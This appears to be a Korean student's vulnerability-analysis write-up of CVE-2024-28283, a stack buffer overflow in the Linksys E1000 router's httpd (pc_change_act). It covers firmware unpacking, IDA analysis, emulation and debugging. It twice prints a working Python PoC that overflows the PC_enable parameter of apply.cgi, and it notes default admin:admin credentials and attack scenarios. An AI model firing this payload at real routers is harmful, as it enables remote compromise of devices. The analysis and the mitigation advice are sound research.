💯 문제
주어진 펌웨어 내 실행 파일을 추출하여 분석하고, 어떤 1-day 취약점이 존재하는지 분석하라.
✏️ 조건
- E1000 라우터 펌웨어
- 실행파일 이름: httpd
- 사용자 입력 함수: get_cgi
- 취약점 종류: buffer overflow
FW_E1000_2.1.03.005_US_20140321.bin
0. 접근법 설정
0.1. 탐색 범위 좁히기
- 1-day 취약점이 존재한다 → 이미 정보가 공개된 취약점
- 취약점의 정보가 공개되어 있다 → 높은 확률로 CVE를 받았다
- 위와 같은 취약점이 CVE 등록되었다면, 필수적으로 E1000 router, httpd 키워드가 description에 있을 것이다
따라서 검색해 보았음
CVE-2024-28283이 나왔고, 내부 description은 아래와 같았음
There is stack-based buffer overflow vulnerability in pc_change_act function in Linksys E1000 router firmware version v.2.1.03 and before, leading to remote code execution.
내용만 읽어보면, 매우 높은 확률로 해당 CVE가 문제 취약점일 가능성이 높음.
더 확실한 교차 검증을 위해 과제로 주어진 파일 버전을 확인함
정확히 일치하는 버전이기 때문에, 문제 취약점은 CVE-2024-28283인 것으로 가정하고 문제에 접근
0.2. CVE-2024-28283 조사
NVD는 실제로 CVE가 등록되는 기관이 아니다.
CNA가 운영규정에 따라 CVE를 등록하면 cve.org에 등록되는 형식이다. NVD는 이를 Pull 해서 NVD상에 넣고 관리하며 Assessment를 애초에 CVE가 CISA의 후원을 받고, NVD가 NIST에 의해 운영되며 NIST는 CISA와 함께 FISMA 집행을 위해 설립된 기관이므로, CVE와 NVD 둘 다 실질적으로 미 정부 산하기관으로 보면 되긴 하지만, 어쨌든 둘은 별개의 기관이다.
즉, 더 정확하고 디테일한 정보를 보고 싶다면 cve.org에 올라온 CVE 정보를 보는 게 좋다.
저기 밑에 References로 나온 notion 페이지(https://d05004.notion.site/Linksys-E1000-BOF-37b98eec45ea4fc991b9b5bea3db091d)에 들어가면 해당 취약점 분석이 매우 상세하게 나와 있다.
0.3. 취약점 분석 보고서 원본 정리
0.3.1. 취약점 원인
- 원인은 BoF
- BoF는
sprintf
함수 사용으로 인해 발생(sprintf 함수가 BoF에 취약한 함수로, 시큐어코딩 규약을 위반한 셈) - 해당 함수는 타겟 펌웨어의
pc_change_act
함수 내부에 있음
0.3.2. 취약점 PoC
import requests
target=input("Enter target IP: ")
session_id=input("Enter session_id: ")
url="http://"+target+"/apply.cgi;session_id="+session_id
headers={}
headers["User-Agent"]="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0"
headers["Accept"]="text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
headers["Accept-Language"]= "en-US,en;q=0.5"
headers["Accept-Encoding"]= "gzip, deflate"
headers["Content-Type"] = "application/x-www-form-urlencoded"
headers["Origin"]="http://"+target
headers["Connection"]="close"
headers["Referer"]="http://"+target+"/apply.cgi;session_id="+session_id
headers["Upgrade-Insecure_Requests"]="1"
data={}
data["submit_button"]="GuestNetworkSetting"
data["gui_action"]="Apply"
pay=b"A"*0x30 #dummy
pay+=b"B"*4 #return address
data["PC_enable"]=pay
r=requests.post(url,headers=headers,data=data)
0.3.3. 취약점 익스플로잇 결과
- RCE
- 웹 관리자 권한을 획득할 경우,
apply.cgi
인터페이스에 들어가는 POST 요청에PC_enable
파라미터를 삽입함으로써 RCE가 가능해짐
- 웹 관리자 권한을 획득할 경우,
1. 실 분석 수행
원데이라는 점을 주었고, 취약점 발생 포인트를 주었기 때문에 아마 당 접근 방법이 정석에 가까울 것이다.
그러나 이전에 배운 점을 제대로 응용해 보고 싶었다.
따라서 이 과제를 이전 과제와 연계해 더 고도화 수행하는 방법을 고민했다.
저번주에 논문으로 알려준 KARONTE를 직접 이용해서 문제 바이너리의 취약점을 찾아내고, 정적 및 동적 분석까지 수행 후, 그에 대한 익스플로잇까지 완료하는 시나리오가 좋지 않을까?
KARONTE 논문의 말미에는 해당 퍼저를 오픈소스로 공개했다는 말도 있으니(In the spirit of open science, we release the implementation of our prototype and a docker image to replicate our working environment.) 실현 가능한 과제 수행 방안이다.
https://github.com/ucsb-seclab/karonte
시간이 부족해 퍼저에서 결과를 얻는 것이 가능할지 모르겠으나, 최대한 진행해 본다.
1.0. KARONTE를 활용한 분석
1.0.0. 펌웨어 분석은 어떻게 시작해야 하는가?
펌웨어에 대해 분석을 해본 적은 없어서, 먼저 KARONTE 논문의 초입을 확인했다.
‘Firmware Pre-Processing’ 과정에서 자동으로 binwalk 등의 툴로 펌웨어 이미지를 언패킹한다고 되어 있다.
‘펌웨어 이미지 언패킹’ 이 정확히 어떤 input 파일을 넣어 어떤 output을 얻고, 그 과정에서 어떤 행위를 수행하는 것인지 모른다.
따라서 ‘firmware image unpack bin’으로 검색했고, 아래와 같은 블로그 글을 확인했다.
펌웨어 분석을 하기 전 preprocessing이란 bin 확장자로 주어진 파일을 펌웨어 분석 툴을 활용해 unpack 진행할 경우, 파일시스템과 같은 unpacked된 결과물이 떨어지는 것으로 보인다.
펌웨어는 하드웨어를 구동하기 위해 상당히 low-level에서 동작하도록 설계된 프로그램이다.
그런 프로그램을 언패킹했을 때 파일시스템의 형태가 떨어진다는 건, 아마 하드웨어 인스트럭션-OS 중간 격의 동작도 겸하기 때문이 아닐까 추측된다. 아마 맞을 것 같다. 컴퓨터에서도 OS 부팅을 위해 CMOS라는 하드웨어 컴포넌트를 따로 두고 그 기반으로 에러커렉션 해서 BIOS가 돌아가니까
이 추측이 맞는지 여부를 확인하기 위해 firmware architecture등의 키워드로 검색해 보았다.
그 결과, 펌웨어는 아래와 같은 구조를 가진다고 한다.
출처: https://www.bytesnap.com/news-blog/firmware-explained-guide/
- Bootloader: This immutable code runs first when a device powers on. It initialises core hardware like the CPU and memory, then loads the main firmware image from storage.
- OS kernel: The kernel manages system resources and provides core services like multitasking and memory allocation. For small devices, it may be a real-time operating system (RTOS).
- Device drivers: these enable the OS to communicate with hardware like radios, sensors, and storage. They abstract the hardware complexity into a common interface.
- Middleware: Middleware provides connectivity, security, protocol stacks, and other services above the OS. For example, a TCP/IP stack for network connectivity.
- Application code: The main application firmware implements the device’s end-user functionality – for example, user interfaces, algorithms, and network protocols.
또한, 아래와 같은 특징을 가지고 있다 한다.(출처: https://stackoverflow.com/questions/40853918/what-are-common-structures-for-firmware-files , chatgpt를 활용해 요약)
✏️5-Bullet Summary:
-
Firmware File Composition:
Firmware is stored as an Executable and Linkable File (ELF), often converted to binary (.bin) or text-based binary (.hex), and represents the exact memory content written to the embedded flash.
-
Startup Process:
On powering the board, the internal bootloader redirects execution to the firmware’s entry point (usually at address 0x0). Startup code initializes the system (e.g., setting the clock, stack pointer, vector table, and memory sections).
-
Embedded vs. OS Control:
Unlike operating systems, where user code relies on APIs and system libraries for low-level operations, embedded systems give full hardware and resource management control to user code.
-
Firmware and OS Similarities:
Both firmware and operating systems handle processors, memory, and I/O similarly, organizing code and data sections in memory during initialization.
-
Key Differences:
- Firmware uses physical RAM addressing due to limited memory mapping in most microcontrollers.
- Stack memory in firmware is explicitly managed by user code via linker scripts, unlike OS-managed stacks in traditional programs.
마지막으로, 펌웨어는 크게 3개 종류로 분류된다고 한다.(출처: https://www.spiceworks.com/tech/devops/articles/what-is-firmware/)
- Low-level firmware: These cannot be modified or altered since they are considered as integral hardware elements. They are stored on nonvolatile memory chips such as ROM and programmable ROM (PROM).
- High-level firmware: These forms of firmware often have higher levels of instruction complexity than low-level firmware, bringing them closer to the realm of software than hardware. They are used in conjunction with flash memory chips to make upgrades possible.
- Subsystem: They are parts of a more extensive system that can work independently. It often looks like its device because the microcode for this firmware level is built into the central processing unit (CPU), the liquid crystal display units (LCD), and the flash chips. Also, it is like high-level firmware in terms of operation.
1.0.1. KARONTE input 파인
그런데, KARONTE에서는 binwalk등을 적용해 자동으로 펌웨어를 추출한다고 한다.
즉 내가 문제로 받은 bin 파일을 그대로 input으로 주어도 될 것 같은데, 이게 맞는지 확실치 않다.
따라서 이를 확실히 하기 위해 KARONTE의 레포를 확인했다.
되게 json_config_file을 보면 내가 넣어야 할 input 파일의 형태가 가늠될 것 같다.
{
"bin": [],
"pickle_parsers": "./pickles/parser/NETGEAR/NETGEAR_analyzed_R6200v2-V10312_10111_fw__R6200v2-V10312_10111chkextracted_squashfs-root.pk",
"stats": "False",
"data_keys": [],
"base_addr": "",
"eg_source_addr": "",
"fw_path": "./firmware/NETGEAR/analyzed/R6200v2-V1.0.3.12_10.1.11/fw/_R6200v2-V1.0.3.12_10.1.11.chk.extracted/squashfs-root",
"angr_explode_bins": [
"openvpn",
"wpa_supplicant",
"vpn",
"dns",
"ip",
"log",
"qemu-arm-static"
],
"var_ord": [""],
"glob_var": [],
"arch": "",
"only_string": "False"
}
위 내용을 확실히 이해하려면 레포의 key 별 설명(https://github.com/ucsb-seclab/karonte/tree/master/config) 을 읽으면 되는데, 사실 보면 무엇을 참조해 분석하는지 직관적으로 알 수 있으므로 자세한 설명은 하지 않는다.
내가 실행중인 docker 컨테이너에는 firmware 디렉토리에 firmware dataset이 있는데, 위 json이 참조하는 분석 대상에 저장된 dataset은 이미 unpack이 되어 있는 형태다.
나보고 unpack해서 넣어놓으라는 소리 같다.
binwalk로 직접 unpack을 해보고 그 결과물과 비교해보자.
1.0.2. unpack
>docker cp ./FW_E1000_2.1.03.005_US_20140321.bin karonte:/
명령어로 대상 펌웨어를 컨테이너로 전송했다.
그리고 아래와 같이 binwalk를 활용해 unpack했다.
그러나 아래와 같은 에러가 발생했다.
Extractor.execute failed to run external extractor 'sasquatch -p 1 -le -d '%%squashfs-root%%' '%e'': [Errno 2] No such file or directory
찾아보니, squashfs 파일시스템과 관련해서만 해당 에러가 생기는 것으로 추정되며, sasquatch 모듈을 따로 설치해 해결할 수 있다고 한다. (https://github.com/threadexio/sasquatch.git)
설치해서 추출해 보니, 아래와 같이 문제없이 완료되었다.
추출된 .extracted 디렉토리를, 위의 config에 나온 내용(/firmware/NETGEAR/analyzed/R6200v2-V1.0.3.12_10.1.11/fw/
)을 참고하여 이동해 두었다.
위의 이동을 반영한 config 파일은 아래와 같이 생성했다.
{
"bin": [],
"pickle_parsers": "./pickles/parser/Linksys/Linksys/analyzed/E1000/fw/_FW_E1000_2.1.03.005_US_20140321.bin.extracted/squashfs-root.pk",
"stats": "False",
"data_keys": [],
"base_addr": "",
"eg_source_addr": "",
"fw_path": "./firmware/Linksys/analyzed/E1000/fw/_FW_E1000_2.1.03.005_US_20140321.bin.extracted/squashfs-root",
"angr_explode_bins": [
"openvpn",
"wpa_supplicant",
"vpn",
"dns",
"ip",
"log",
"qemu-arm-static"
],
"var_ord": [""],
"glob_var": [],
"arch": "",
"only_string": "False"
}
그리고 아래와 같이 KARONTE를 run 했다.
그러나 Border Binaries Discovery 단계에서 더 이상 넘어가지 못했다.
네트워크와 상호작용하는 바이너리를 BBD에서 찾아낸다고 했는데…. 무슨 문제인지 모르겠다.
올바르게 config을 해야 하나 싶은데, 어떻게 해야 할지 더 고민해 봐야 할 것 같다.
만약 퍼징으로 찾지 못한 취약점이라면, reporter는 어떤 경로로 이 취약점을 찾았을까?
1.1. 정적 분석
1.1.0. 분석 대상 파일 찾기
일단 취약점이 발생한 파일인 httpd 파일을 찾아야 한다.
httpd면 apache 웹서버인가? 보통 이건 /etc/httpd 디렉토리 형태로 떨어지는데.
바이너리 형태로 떨어진 거면 /bin
, /sbin
, /usr/bin
, /usr/sbin
중 하나에는 있겠다 생각했다.
그렇게 생각하고 찾아보니, /usr/sbin/
에서 찾을 수 있었다.
이렇게 휴리스틱한 방식 말고 다른 방법으로도 찾을 수 있다.
- 구글링
-
httpd firmware를 검색하면 아래와 같이 펌웨어상의 httpd 바이너리에서 발생한 CVE 분석 글이 있다.
-
해당 CVE는 netgear 라우터에서 발생한 취약점이다. 지금 분석 대상 펌웨어 또한 라우터 펌웨어인 점을 고려했을 때, 비슷한 OS 및 시스템 구조를 차용하고 있을 가능성이 높으므로 그대로
/usr/sbin
을 찾아보면 httpd 파일을 찾을 수 있었을 것이다.
-
- everything
- 제일 쉽긴 한데 한 10분 기다려야 한다.
- everything 유틸리티가 추출한 펌웨어 파일시스템에 대해 분석을 해야 하기 때문에…
-
그래도 검색하면 이렇게 httpd를 찾을 수 있다.
1.1.1. 분석
pc_change_act
IDA에 넣고 띄운 다음 function 이름(pc_change_act
)으로 검색했다.
문제의 조건과 완전히 일치하는 함수임을 알 수 있었다.
이쪽에서 보이는 문자열들은 보통 라우터를 관리 및 설정할 때 보내는 설정키밸류의 키값인 것으로 보인다.
왜냐하면 라우터 펌웨어라는 점을 고려했을 때 WTP는 Wireless Transcation Protocol의 약자인 것 같고, 보통 이런 형식의 문자열이면 라우터 관리변경 시에 사용하는 환경변수 값이고,
위의 생각에 근거해 linksys pc_enable로 검색해 보니, 아래와 같이 nvram info의 키값 중 하나인 점이 확인되었기 때문이다.(스크롤이 너무 길어 PC_enable은 안 보임)
그럼 이제 pc_change_act
함수를 들여다 보자.
문제에서는 힌트로 get_cgi
를 언급했는데, get_cgi
의 xref를 보면 매우 많은 점을 알 수 있다.
이런 상황에서 get_cgi
를 루트커즈로 판단하는 것은 논리적으로 틀린 추측이 된다.
그보다는 get_cgi
의 값을 내부적으로 처리하는 과정에서 문제가 생겼다고 보는 것이 맞고, 따라서 pc_change_act
함수에 루트커즈가 있다고 판단하는 것이 맞다고 생각한다.
이제 상세하게 내부 데이터 처리 루틴을 파악해 보자.
먼저 해당 함수의 내부에서는 sscanf
, sprintf
를 사용하고 있는 것이 보인다.
그러나 sscanf
를 보면 펌웨어가 작동 중인 정보시스템 외부의 값이 활용될 여지가 낮아 보인다. nvram_get
함수는 “TMSSS_enable” nvram 엔트리에서 value를 가져오는데, 비록 이게 user controlled data이지만 sscanf
에서 %d로 핸들링하기 때문에 RCE로 이어질 가능성이 낮기 때문이다.
따라서 sprintf
에 집중했다.
v5는 24byte 크기 배열인데, 설정 파라미터 키값을 데이터 처리 파라미터로 썼기 때문에 user controlled data인 PC_enable
의 value를 리턴할 가능성이 높은 get_cgi(”PC_enable”)
의 값을 그대로 복사해 받는다.
BOF가 의심되는 정황이다.
따라서 함수를 타고 들어가며 추측이 맞는지 더 정확히 알아보았다.
get_cgi
get_cgi
내부에서 0이 아닌 다른 값을 리턴하려면 get_xss
가 콜되어야 한다.
눈치상 hsearch_r
에서 v3과 a1을 근거로 검색을 수행해서, 별 문제 없으면 v4가 a1(“PC_enable”의 시작주소)를 가리킬 것 같다.
get_xss
보안 조치인 것 같다. XSS 유발하는 code signature가 있는지 판단하는 것으로 보이는데,
리턴값이 유의미한 값이 되기 위해서는 if 문이 false가 되고 v2가 리턴되는 플로우가 진행되어야 한다. 즉, XSS 문제가 없는 입력값이어야 한다.
그렇다면 뭐가 v2에 값을 할당하는가? if 문의 가장 마지막 조건이다.
|| (v4 = strchr(a1, 62), v2 = a1, v4)
&& (v5 = strstr(a1, "< >"), v2 = a1, !v5)
위 조건에 대한 검사를 거치고 나면 v2에는 a1이 저장된다.
즉, get_cgi
에 인수로 준 PC_enable
의 시작주소가 그대로 pc_change_act
의 변수 cgi에 들어간다.
해당 바이너리(httpd)는 gcc-compiled c/c++ 바이너리다.
위와 같이 IDA에서 확인된 정보와 컴파일러의 convention 등을 고려했을 때,
30byte+RET addr+shellcode
로 주면 익스플로잇이 될 것처럼 보인다. 물론 RCE를 하고 싶으면 NX-bit 등이 걸려있는지 확인해야 하지만
PoC는 30byte+RET addr taint(4byte)
까지만 하면 될 것 같다.
물론 정적으로 알아낼 수 있는 데에는 한계가 있다. 따라서 위 섹션에서 서술했던 추측을 확실하게 하려면, 동적으로 분석해야 한다.
별다른 dynamic analysis prevention이 안 걸려 있는 것으로 보이기 때문에, 저 위치에 bp를 걸고 실행한 다음 데이터가 오가는 부분을 본다.
사족이지만, nvram_get 함수 자체에서 취약점이 발생할 여지가 높아 보여 개인적으로 검색해 봤는데, 발생한 이력이 있었다. 추가로, apply.cgi
url 또한 아래 취약점에서도 취약했던 url이었다.
CVE-2018-3953
Devices in the Linksys ESeries line of routers (Linksys E1200 Firmware Version 2.0.09 and Linksys E2500 Firmware Version 3.0.04) are susceptible to OS command injection vulnerabilities due to improper filtering of data passed to and retrieved from NVRAM. Data entered into the ‘Router Name’ input field through the web portal is submitted to apply.cgi as the value to the ‘machine_name’ POST parameter. When the ‘preinit’ binary receives the SIGHUP signal, it enters a code path that continues until it reaches offset 0x0042B5C4 in the ‘start_lltd’ function. Within the ‘start_lltd’ function, a ‘nvram_get’ call is used to obtain the value of the user-controlled ‘machine_name’ NVRAM entry. This value is then entered directly into a command intended to write the host name to a file and subsequently executed.
KARONTE를 돌려도 httpd는 border binary 로 치지 않아 분석 대상으로 보지 않았다. 즉, KARONTE로는 문제 취약점을 찾아낼 수 없었다.
따라서 문제 취약점이 어떤 경로로 발견됐는지 고민하고 있었는데, Linksys 라우터 E 시리즈에서 발생했던 취약점 이력을 모두 모은 다음 해볼 만한 곳을 공략하는 정석적인 방식을 쓴 것 같았다.
1.2. 익스플로잇 환경 셋업
https://github.com/pr0v3rbs/FirmAE 에서 Firmware Emulator를 다운받아 직접 펌웨어를 구동하고, pc_change_act 를 참조하는 기능에 직접 페이로드를 보내 보는 것을 목적으로 한다.
에뮬레이터 다운로드 후 레포에 나온 대로 설정을 끝내고, 아래 명령어를 실행했다.
$ sudo ./run.sh -c linksys ./firmwares/FW_E1000_2.1.03.005_US_20140321.bin
그 결과, 192.168.1.1에 펌웨어상의 웹서버가 구동된 것을 확인할 수 있었다.
이제 디버깅을 위해 아래 명령어를 실행했다.
$ sudo ./run.sh -d linksys ./firmwares/FW_E1000_2.1.03.005_US_20140321.bin
정상 구동되었음을 확인할 수 있었다.
이제 run gdbserver 옵션을 선택해 target pid에 httpd의 pid를 입력했다.
gdb-multiarch를 설치해 위 사진에 나온 대로의 instruction을 따랐다.
pc_change_act에 접근하는 요청을 찾고 싶어서, gdb에서 다음과 같이 중단점을 설정했다.
이제 c로 실행되도록 해 두고, 웹서버에 접근했다.
id, pw는 cisco 초기 id:pw값인 admin:admin 혹은 cisco:cisco를 넣어보면 로그인될 것이다.
admin:admin이었다.
익스플로잇 타겟 함수를 다시 보자.
즉, 해당 함수에 날아가는 요청은 무조건 위의 strings 중 하나를 포함할 수밖에 없다.
따라서, 웹서버를 구성하는 파일들에 대해 PC_enable
string이 존재하는지 전수조사를 진행했다.
그 결과, GuestNetworkSetting.asp
에 해당 문자열이 존재함을 확인했다.
따라서 192.168.1.1/GuestNetworkSetting.asp;session_id=a5603bc78a2241abfe43afefbb587c55
에 접근해서, 아무 내용이나 바꾼 다음 ‘Save Settings’를 클릭해 보았다.
위와 같이 기존에 설정해 두었던 bp에 걸림을 확인했다. 즉, 타겟 함수를 정상적으로 참조함을 확인했다.
1.3. 익스플로잇 설계
이제 공격 지점을 알았으니 익스플로잇을 설계할 차례다.
익스 패킷을 설계하기 위해 정상 요청의 포맷을 확인했다.
해당 요청이 어떤 포맷으로 날아가는지 알기 위해 tcpdump를 사용했다.
그 결과 아래와 같은 패킷 내용을 얻을 수 있었다.(개발자 도구로도 확인 가능하나, 개발자 도구로는 패킷 내용을 예쁘게 얻기 어려워 rawdata를 직접 얻었다)
POST /apply.cgi;session_id=a5603bc78a2241abfe43afefbb587c55 HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 140
Cache-Control: max-age=0
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.1/GuestNetworkSetting.asp;session_id=a5603bc78a2241abfe43afefbb587c55
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
submit_button=GuestNetworkSetting&change_action=&gui_action=Apply&wait_time=19&submit_type=&del_mac=&gn_lan_ipaddr=4&gn_enable=0&PC_enable=1
1.4. 익스플로잇
위와 같이 IDA에서 확인된 정보를 고려했을 때,
PoC는
30byte+RET addr taint(4byte)
까지만 하면 될 것 같다.
앞서 이렇게 분석한 바가 있고, 위와 같이 정상 패킷의 형태도 알고 있으니 이제 익스플로잇을 만들어 보자. 시간이 부족해 기존에 존재하는 익스플로잇을 활용했다.
# ex.py
import requests
target=input("Enter target IP: ")
session_id=input("Enter session_id: ")
url="http://"+target+"/apply.cgi;session_id="+session_id
headers={}
headers["User-Agent"]="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0"
headers["Accept"]="text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
headers["Accept-Language"]= "en-US,en;q=0.5"
headers["Accept-Encoding"]= "gzip, deflate"
headers["Content-Type"] = "application/x-www-form-urlencoded"
headers["Origin"]="http://"+target
headers["Connection"]="close"
headers["Referer"]="http://"+target+"/apply.cgi;session_id="+session_id
headers["Upgrade-Insecure_Requests"]="1"
data={}
data["submit_button"]="GuestNetworkSetting"
data["gui_action"]="Apply"
pay=b"A"*0x30 #dummy
pay+=b"B"*4 #return address
data["PC_enable"]=pay
r=requests.post(url,headers=headers,data=data)
위 스크립트를 아래와 같이 실행했다.
그 결과, gdb에서 정상적으로 크래시가 발생한 점을 확인했다.
PC레지스터(next instruction을 가리키는 program counter 레지스터)에 0x42424242
, 즉 taint가 잘 들어갔다.
2. 익스플로잇을 통해 가능한 침해 시나리오
해당 펌웨어의 스택과 힙은 어떤 권한으로 돌아가는 중인지 확인해 보았다.
전부 실행 권한을 가진 채로 돌아간다….
- 임베디드 디바이스 칩셋의 컴퓨팅 능력을 고려했��� 때, 펌웨어는 높은 확률로 ASLR이 걸리지 않은 환경에서 돌아갈 것이다.
- 즉 기초적인 시스템 해킹 능력이 있다면 누구나 RCE가 가능하다.
- 또한, 해당 라우터는 접근 권한을 세션 ID로 구분하고 있으나 세션 ID가 아래와 같이 GET의 파라미터로 들어오고 있었으며, http 통신을 사용하여 암호화되지 않은 트래픽을 매개하고 있었다.
192.168.1.1/GuestNetworkSetting.asp;session_id=a5603bc78a2241abfe43afefbb587c55
- 따라서 충분히 MITM 공격을 통한 관리자 세션 탈취가 가능하며, 해당 라우터에서는 L7까지의 기능을 제공하는 관계로 Application 레벨에서 가능한 공격(웹 익스플로잇)을 수행할 수 있다.
- 혹은 악성 파일 유포지로도 사용할 수 있을 것이다.
물론 이와 같은 설정을 가진 라우터는 사내의 내부망 정도에서만 사용할 확률이 높으나, 망분리 환경에서도 침해사고는 발생하기 때문에 침해사고 발생시의 위험도를 크게 높이는 취약점으로 판단된다.
3. Mitigation 제시
일차적으로는 패킹을 해야 하긴 하지만, 임베디드 디바이스의 특성상 컴퓨팅 리소스의 한계로 인해 심볼을 날리는 것 이상의 패킹은 어려울 것으로 보인다.
즉 sprintf
를 snprintf
로 변경해서 올바른 데이터 크기 관리를 하는 것이 현재로서는 가장 근본적인 해결책이다.